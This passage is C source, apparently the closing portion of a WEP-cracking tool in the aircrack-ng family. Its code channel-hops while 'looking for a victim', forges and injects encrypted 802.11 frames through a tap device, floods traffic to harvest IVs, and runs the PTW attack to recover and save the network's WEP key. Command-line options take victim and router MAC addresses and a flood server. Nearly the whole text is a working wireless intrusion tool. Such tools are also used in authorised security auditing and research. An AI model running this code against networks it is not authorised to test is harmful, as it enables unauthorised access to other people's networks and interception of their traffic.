2065                         if (rtrmac > (unsigned char*)1 && netip) {
2066                                 if (floodip)
2067                                         flood_inet(tx);
2068                                 else {
2069                                         // XXX lame technique... anyway... im
2070                                         // only interested in flood_inet...
2071
2072                                         // could ping broadcast....
2073                                         send_arp(tx, ARPOP_REQUEST, myip, mymac,
2074                                                  arp_ip, "\x00\x00\x00\x00\x00\x00");
2075                                 }
2076
2077                                 break;
2078                         }
2079
2080                         break;
2081         }
2082 }
2083
2084 void save_key(unsigned char *key, int len)
2085 {
2086         char tmp[16];
2087         char k[64];
2088         int fd;
2089         int rd;
2090
2091         assert(len*3 < sizeof(k));
2092
2093         k[0] = 0;
2094         while (len--) {
2095                 sprintf(tmp, "%.2X", *key++);
2096                 strcat(k, tmp);
2097                 if (len)
2098                         strcat(k, ":");
2099         }
2100
2101         fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2102         if (fd == -1)
2103                 err(1, "open()");
2104
2105         printf("\nKey: %s\n", k);
2106         rd = write(fd, k, strlen(k));
2107         if (rd == -1)
2108                 err(1, "write()");
2109         if (rd != strlen(k))
2110                 errx(1, "write %d/%d\n", rd, strlen(k));
2111         close(fd);
2112 }
2113
2114 #define KEYLIMIT (1000000)
2115 int do_crack(void)
2116 {
2117         unsigned char key[PTW_KEYHSBYTES];
2118
2119         if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2120                 save_key(key, 13);
2121                 return 1;
2122         }
2123         if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2124                 save_key(key, 5);
2125                 return 1;
2126         }
2127
2128         return 0;
2129 }
2130
2131 void try_crack() {
2132         if (crack_pid) {
2133                 printf("\n");
2134                 time_print("Warning... previous crack still running!\n");
2135                 kill_crack();
2136         }
2137
2138         if (weplog.fd) {
2139                 if (fsync(weplog.fd) == -1)
2140                         err(1, "fsync");
2141         }
2142
2143         crack_pid = fork();
2144
2145         if (crack_pid == -1)
2146                 err(1, "fork");
2147
2148         // child
2149         if (crack_pid == 0) {
2150                 if (!do_crack())
2151                         printf("\nCrack unsuccessful\n");
2152                 exit(1);
2153         }
2154
2155         // parent
2156         printf("\n");
2157         time_print("Starting crack PID=%d\n", crack_pid);
2158         if (gettimeofday(&crack_start, NULL) == -1)
2159                 err(1, "gettimeofday");
2160
2161
2162         wep_thresh += thresh_incr;
2163 }
2164
2165 void open_tap() {
2166         struct stat st;
2167         int s;
2168         struct ifreq ifr;
2169         unsigned int flags;
2170
2171         tapfd = open(TAP_DEV, O_RDWR);
2172         if (tapfd == -1) {
2173                 printf("Can't open tap: %s\n", strerror(errno));
2174                 exit(1);
2175         }
2176         if(fstat(tapfd, &st) == -1) {
2177                 perror("fstat()");
2178                 exit(1);
2179         }
2180
2181         // feer
2182         strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2183
2184         s = socket(PF_INET, SOCK_DGRAM, 0);
2185         if (s == -1) {
2186                 perror("socket()");
2187                 exit(1);
2188         }
2189
2190         // MTU
2191         memset(&ifr, 0, sizeof(ifr));
2192         strcpy(ifr.ifr_name, tapdev);
2193         ifr.ifr_mtu = 1500;
2194         if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2195                 perror("ioctl(SIOCSIFMTU)");
2196                 exit(1);
2197         }
2198
2199         // set iface up
2200         memset(&ifr, 0, sizeof(ifr));
2201         strcpy(ifr.ifr_name, tapdev);
2202         if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2203                 perror("ioctl(SIOCGIFFLAGS)");
2204                 exit(1);
2205         }
2206
2207         flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2208         flags |= IFF_UP;
2209
2210         memset(&ifr, 0, sizeof(ifr));
2211         strcpy(ifr.ifr_name, tapdev);
2212         ifr.ifr_flags = flags & 0xffff;
2213         ifr.ifr_flagshigh = flags >> 16;
2214         if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2215                 perror("ioctl(SIOCSIFFLAGS)");
2216                 exit(1);
2217         }
2218
2219         close(s);
2220         time_print("Opened tap device: %s\n", tapdev);
2221 }
2222
2223 void read_tap() {
2224         unsigned char buf[4096];
2225         struct ether_header* eh;
2226         struct ieee80211_frame* wh;
2227         int rd;
2228         unsigned char* ptr, *body;
2229         int dlen;
2230
2231         rd = read(tapfd, buf, sizeof(buf));
2232         if (rd == -1) {
2233                 perror("read()");
2234                 exit(1);
2235         }
2236         dlen = rd - sizeof(*eh);
2237
2238         assert(dlen > 0);
2239
2240         if (dlen+8 > prgainfo.len) {
2241                 printf("\n");
2242                 // XXX lame message...
2243                 time_print("Sorry... want to send %d but only got %d prga\n",
2244                            dlen, prgainfo.len);
2245                 return;
2246
2247         }
2248
2249         if (taptx_len) {
2250                 printf("\n");
2251                 time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2252                 // XXX could not read instead and get rid of it in select...
2253         }
2254
2255         assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2256
2257         eh = (struct ether_header*) buf;
2258
2259         wh = (struct ieee80211_frame*) taptx;
2260         memset(wh, 0, sizeof(*wh));
2261         fill_basic(wh);
2262
2263         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2264         wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2265
2266         memcpy(wh->i_addr2, eh->ether_shost, 6);
2267         memcpy(wh->i_addr3, eh->ether_dhost, 6);
2268
2269         body = (unsigned char*) wh + sizeof(*wh);
2270         ptr = body;
2271         ptr += 4; // iv
2272
2273         do_llc(ptr, ntohs(eh->ether_type));
2274         ptr += 8;
2275
2276         memcpy(ptr, &buf[sizeof(*eh)], dlen);
2277
2278         wepify(body, 8+dlen);
2279         taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2280
2281         assert (taptx_len < sizeof(taptx));
2282 }
2283
2284 int elapsedd(struct timeval *past, struct timeval *now)
2285 {
2286         int el;
2287
2288         el = now->tv_sec - past->tv_sec;
2289         assert(el >= 0);
2290         if (el == 0) {
2291                 el = now->tv_usec - past->tv_usec;
2292         } else {
2293                 el = (el - 1)*1000*1000;
2294                 el += 1000*1000-past->tv_usec;
2295                 el += now->tv_usec;
2296         }
2297
2298         return el;
2299 }
2300
2301 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2302 {
2303 #define BIT(n)  (1<<(n))
2304         struct bpf_hdr *bpfh;
2305         struct ieee80211_radiotap_header *rth;
2306         uint32_t present;
2307         uint8_t rflags;
2308         void *ptr;
2309         static int nocrc = 0;
2310
2311         assert(*totlen);
2312
2313         /* bpf hdr */
2314         bpfh = (struct bpf_hdr*) (*data);
2315         assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2316         *totlen -= bpfh->bh_hdrlen;
2317
2318         /* check if more packets */
2319         if ((int)bpfh->bh_caplen < *totlen) {
2320                 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2321                 int offset = BPF_WORDALIGN(tot);
2322
2323                 *data = (char*)bpfh + offset;
2324                 *totlen -= offset - tot; /* take into account align bytes */
2325         } else if ((int)bpfh->bh_caplen > *totlen)
2326                 abort();
2327
2328         *plen = bpfh->bh_caplen;
2329         *totlen -= bpfh->bh_caplen;
2330         assert(*totlen >= 0);
2331
2332         /* radiotap */
2333         rth = (struct ieee80211_radiotap_header*)
2334               ((char*)bpfh + bpfh->bh_hdrlen);
2335         /* XXX cache; drivers won't change this per-packet */
2336         /* check if FCS/CRC is included in packet */
2337         present = le32toh(rth->it_present);
2338         if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2339                 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2340                         rflags = ((const uint8_t *)rth)[8];
2341                 else
2342                         rflags = ((const uint8_t *)rth)[0];
2343         } else
2344                 rflags = 0;
2345         *plen -= rth->it_len;
2346         assert(*plen > 0);
2347
2348         /* 802.11 CRC */
2349         if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2350                 *plen -= IEEE80211_CRC_LEN;
2351                 nocrc = 1;
2352         }
2353
2354         ptr = (char*)rth + rth->it_len;
2355
2356         return ptr;
2357 #undef BIT
2358 }
2359
2360 static int read_packet(int fd, unsigned char *dst, int len)
2361 {
2362         static unsigned char buf[4096];
2363         static int totlen = 0;
2364         static unsigned char *next = buf;
2365         unsigned char *pkt;
2366         int plen;
2367
2368         assert(len > 0);
2369
2370         /* need to read more */
2371         if (totlen == 0) {
2372                 totlen = read(fd, buf, sizeof(buf));
2373                 if (totlen == -1) {
2374                         totlen = 0;
2375                         return -1;
2376                 }
2377                 next = buf;
2378         }
2379
2380         /* read 802.11 packet */
2381         pkt = get_80211(&next, &totlen, &plen);
2382         if (plen > len)
2383                 plen = len;
2384         assert(plen > 0);
2385         memcpy(dst, pkt, plen);
2386
2387         return plen;
2388 }
2389
2390 void own(int wifd) {
2391         unsigned char buf[4096];
2392         int rd;
2393         fd_set rfd;
2394         struct timeval tv;
2395         char *pbar = "/-\\|";
2396         char *pbarp = &pbar[0];
2397         struct timeval lasthop;
2398         struct timeval now;
2399         unsigned int last_wep_count = 0;
2400         struct timeval last_wcount;
2401         struct timeval last_status;
2402         int fd;
2403         int largest;
2404
2405         weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2406         if (weplog.fd == -1) {
2407                 struct pcap_file_header pfh;
2408
2409                 memset(&pfh, 0, sizeof(pfh));
2410                 pfh.magic           = TCPDUMP_MAGIC;
2411                 pfh.version_major   = PCAP_VERSION_MAJOR;
2412                 pfh.version_minor   = PCAP_VERSION_MINOR;
2413                 pfh.thiszone        = 0;
2414                 pfh.sigfigs         = 0;
2415                 pfh.snaplen         = 65535;
2416                 pfh.linktype        = LINKTYPE_IEEE802_11;
2417
2418                 weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2419                                  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2420                 if (weplog.fd != -1) {
2421                         if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2422                                 err(1, "write()");
2423                 }
2424         }
2425         else {
2426                 time_print("WARNING: Appending in %s\n", WEP_FILE);
2427         }
2428
2429         if (weplog.fd == -1) {
2430                 perror("open()");
2431                 exit(1);
2432         }
2433
2434         fd = open(PRGA_FILE, O_RDONLY);
2435         if (fd != -1) {
2436                 time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2437                 rd = read(fd, buf, sizeof(buf));
2438                 if (rd == -1) {
2439                         perror("read()");
2440                         exit(1);
2441                 }
2442                 if (rd >= 8) {
2443                         set_prga(buf, NULL, &buf[3], rd - 3);
2444                 }
2445
2446                 close(fd);
2447         }
2448
2449         fd = open(DICT_PATH, O_RDONLY);
2450         if (fd == -1) {
2451                 time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2452                 if (mkdir (DICT_PATH, 0755) == -1) {
2453                         perror("mkdir()");
2454                         exit(1);
2455                 }
2456         }
2457         else
2458                 close(fd);
2459
2460         open_tap();
2461         set_if_mac(mymac, tapdev);
2462         time_print("Set tap MAC to: %s\n", mac2str(mymac));
2463
2464         if (tapfd > wifd)
2465                 largest = tapfd;
2466         else
2467                 largest = wifd;
2468
2469         if (signal(SIGINT, &cleanup) == SIG_ERR) {
2470                 perror("signal()");
2471                 exit(1);
2472         }
2473         if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2474                 perror("signal()");
2475                 exit(1);
2476         }
2477
2478         time_print("Looking for a victim...\n");
2479         if (gettimeofday(&lasthop, NULL) == -1) {
2480                 perror("gettimeofday()");
2481                 exit(1);
2482         }
2483
2484         memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2485         memcpy(&last_status, &lasthop, sizeof(last_status));
2486
2487         while (1) {
2488                 if (gettimeofday(&now, NULL) == -1) {
2489                         perror("gettimeofday()");
2490                         exit(1);
2491                 }
2492
2493                 /* check for relay timeout */
2494                 if (fragstate.waiting_relay) {
2495                         int el;
2496
2497                         el = now.tv_sec - fragstate.last.tv_sec;
2498                         assert (el >= 0);
2499                         if (el == 0) {
2500                                 el = now.tv_usec - fragstate.last.tv_usec;
2501                         } else {
2502                                 el--;
2503
2504                                 el *= 1000*1000;
2505                                 el += 1000*1000 - fragstate.last.tv_usec;
2506                                 el += now.tv_usec;
2507
2508                                 if (el > (1500*1000)) {
2509 //                                      printf("\nLAMER timeout\n\n");
2510                                         free(fragstate.data);
2511                                         fragstate.data = 0;
2512                                 }
2513                         }
2514                 }
2515
2516                 /* check for arp timeout */
2517                 if (rtrmac == (unsigned char*) 1) {
2518                         int el;
2519
2520                         el = elapsedd(&arpsend, &now);
2521                         if (el >= (1500*1000)) {
2522                                 rtrmac = 0;
2523                         }
2524                 }
2525
2526                 // status bar
2527                 if ( (now.tv_sec > last_status.tv_sec ) ||
2528                      ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2529                         if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2530                                 check_key();
2531                         }
2532                         if (netip && prgainfo.len >= min_prga &&
2533                             rtrmac > (unsigned char*) 1) {
2534                                 time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2535                                        weplog.packets, wep_thresh,
2536                                        weplog.iv[0], weplog.iv[1], weplog.iv[2],
2537                                        weplog.rate);
2538                                 fflush(stdout);
2539                         }
2540                         else {
2541                                 if (state == FIND_VICTIM)
2542                                         time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2543                                 else if (decryptstate.cipher) {
2544                                         int pos = decryptstate.prgainfo.len - 1;
2545                                         unsigned char prga = decryptstate.prgainfo.prga[pos];
2546                                         assert(pos);
2547
2548                                         time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2549                                                    prga, decryptstate.cipher[pos] ^ prga);
2550                                 }
2551                                 else
2552                                         time_print("%c\r", *pbarp);
2553                                 fflush(stdout);
2554                         }
2555                         memcpy(&last_status, &now,sizeof(last_status));
2556                 }
2557
2558                 // check if we are cracking
2559                 if (crack_pid) {
2560                         if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2561                                 kill_crack();
2562                 }
2563
2564                 // check TX  / retransmit
2565                 if (txstate.waiting_ack) {
2566                         unsigned int elapsed = now.tv_sec -
2567                                                txstate.tsent.tv_sec;
2568                         elapsed *= 1000*1000;
2569                         elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2570
2571                         if (elapsed >= ack_timeout)
2572                                 send_frame(wifd, NULL, -1);
2573                 }
2574
2575                 // INPUT
2576                 // select
2577                 FD_ZERO(&rfd);
2578                 FD_SET(wifd, &rfd);
2579                 FD_SET(tapfd, &rfd);
2580                 tv.tv_sec = 0;
2581                 tv.tv_usec = 1000*10;
2582                 rd = select(largest+1, &rfd, NULL, NULL, &tv);
2583                 if (rd == -1) {
2584                         perror("select()");
2585                         exit(1);
2586                 }
2587
2588                 // read
2589                 if (rd != 0) {
2590                         // wifi
2591                         if (FD_ISSET(wifd, &rfd)) {
2592                                 rd = read_packet(wifd, buf, sizeof(buf));
2593                                 if (rd == 0)
2594                                         return;
2595                                 if (rd == -1) {
2596                                         perror("read()");
2597                                         exit(1);
2598                                 }
2599
2600                                 pbarp++;
2601                                 if(!(*pbarp))
2602                                         pbarp = &pbar[0];
2603                                 // input
2604                                 anal(buf, rd, wifd);
2605                         }
2606
2607                         // tap
2608                         if (FD_ISSET(tapfd, &rfd)) {
2609                                 read_tap();
2610                         }
2611                 }
2612
2613                 // check state and what we do next.
2614                 if (state == FIND_VICTIM) {
2615                         if (now.tv_sec > lasthop.tv_sec ||
2616                             ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2617                                 int chan = chaninfo.chan;
2618                                 chan++;
2619
2620                                 if(chan > max_chan)
2621                                         chan = 1;
2622
2623                                 set_chan(chan);
2624                                 memcpy(&lasthop, &now, sizeof(lasthop));
2625                         }
2626                 } else {
2627                 // check if we need to write something...
2628                         if (!txstate.waiting_ack)
2629                                 can_write(wifd);
2630
2631                         // roughly!
2632
2633 #ifdef MORE_ACCURATE
2634                         if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2635                                 unsigned int elapsed;
2636                                 int secs;
2637                                 int packetz = weplog.packets - last_wep_count;
2638                                 elapsed = 1000*1000;
2639
2640                                 elapsed -= last_wcount.tv_usec;
2641
2642                                 assert(elapsed >= 0);
2643                                 elapsed += now.tv_usec;
2644
2645                                 secs = now.tv_sec - last_wcount.tv_sec;
2646                                 secs--;
2647                                 if (secs > 0)
2648                                         elapsed += (secs*1000*1000);
2649
2650                                 weplog.rate = (int)
2651                                 ((double)packetz/(elapsed/1000.0/1000.0));
2652 #else
2653                         if ( now.tv_sec > last_wcount.tv_sec) {
2654                                 weplog.rate = weplog.packets - last_wep_count;
2655 #endif
2656                                 last_wep_count = weplog.packets;
2657                                 memcpy(&last_wcount, &now, sizeof(now));
2658
2659                                 if (wep_thresh != -1 && weplog.packets > wep_thresh)
2660                                         try_crack();
2661                         }
2662                 }
2663         }
2664 }
2665
2666 void start(char *dev) {
2667         int fd;
2668
2669         setup_if(dev);
2670
2671         fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2672
2673         ptw = PTW_newattackstate();
2674         if (!ptw)
2675                 err(1, "PTW_newattackstate()");
2676
2677         own(fd);
2678
2679 #if 0
2680         {
2681                 int i;
2682                 struct timeval tv;
2683                 set_chan(11);
2684                 for (i = 0; i < 10; i++) {
2685                         gettimeofday(&tv, NULL);
2686
2687                         send_ack(tx);
2688 //                      usleep(500);
2689                         printf("%lu\n", tv.tv_usec);
2690                 }
2691         }
2692 #endif
2693
2694         close(fd);
2695 }
2696
2697 void usage(char* pname) {
2698         printf("Usage: %s <opts>\n", pname);
2699         printf("-h\t\tthis lame message\n");
2700         printf("-i\t\t<iface>\n");
2701         printf("-s\t\t<flood server ip>\n");
2702         printf("-m\t\t<my ip>\n");
2703         printf("-n\t\t<net ip>\n");
2704         printf("-r\t\t<rtr mac>\n");
2705         printf("-a\t\t<mymac>\n");
2706         printf("-c\t\tdo not crack\n");
2707         printf("-p\t\t<min prga>\n");
2708         printf("-4\t\t64 bit key\n");
2709         printf("-v\t\tvictim mac\n");
2710         printf("-t\t\t<crack thresh>\n");
2711         printf("-f\t\t<max chan>\n");
2712         exit(0);
2713 }
2714
2715 void str2mac(unsigned char* dst, unsigned char* mac) {
2716         unsigned int macf[6];
2717         int i;
2718
2719         if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2720                    &macf[0], &macf[1], &macf[2],
2721                    &macf[3], &macf[4], &macf[5]) != 6) {
2722
2723                    printf("can't parse mac %s\n", mac);
2724                    exit(1);
2725         }
2726
2727         for (i = 0; i < 6; i++)
2728                 *dst++ = (unsigned char) macf[i];
2729 }
2730
2731 int main(int argc, char *argv[]) {
2732         unsigned char* dev = "ath0";
2733         unsigned char rtr[6];
2734         unsigned char vic[6];
2735
2736         int ch;
2737
2738         if (gettimeofday(&real_start, NULL) == -1) {
2739                 perror("gettimeofday()");
2740                 exit(1);
2741         }
2742
2743         chaninfo.s = -1;
2744         victim.ssid = NULL;
2745         prgainfo.len = 0;
2746
2747         memset(&txstate, 0, sizeof(txstate));
2748         memset(&fragstate, 0, sizeof(fragstate));
2749         memset(&decryptstate, 0, sizeof(decryptstate));
2750         memset(&weplog, 0, sizeof(weplog));
2751
2752         state = FIND_VICTIM;
2753
2754         while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2755                 switch (ch) {
2756                         case 'a':
2757                                 str2mac(mymac, optarg);
2758                                 break;
2759
2760                         case 's':
2761                                 floodip = optarg;
2762                                 break;
2763
2764                         case 'i':
2765                                 dev = optarg;
2766                                 break;
2767
2768                         case 'm':
2769                                 strncpy(myip, optarg, sizeof(myip)-1);
2770                                 myip[sizeof(myip)-1] = 0;
2771                                 break;
2772
2773                         case 'n':
2774                                 netip = optarg;
2775                                 netip_arg = 1;
2776                                 break;
2777
2778                         case 'r':
2779                                 str2mac(rtr, optarg);
2780                                 rtrmac = rtr;
2781                                 break;
2782
2783                         case 'v':
2784                                 str2mac(vic, optarg);
2785                                 victim_mac = vic;
2786                                 break;
2787
2788                         case 'c':
2789                                 wep_thresh = -1;
2790                                 break;
2791
2792                         case 'p':
2793                                 min_prga = atoi(optarg);
2794                                 break;
2795
2796                         case 't':
2797                                 thresh_incr = wep_thresh = atoi(optarg);
2798                                 break;
2799
2800                         case 'f':
2801                                 max_chan = atoi(optarg);
2802                                 break;
2803
2804                         case '4':
2805                                 bits = 64;
2806                                 break;
2807
2808                         default:
2809                                 usage(argv[0]);
2810                                 break;
2811                 }
2812         }
2813
2814         start(dev);
2815
2816         if(chaninfo.s != -1)
2817                 close(chaninfo.s);
2818         if(victim.ssid)
2819                 free(victim.ssid);
2820         exit(0);
2821 }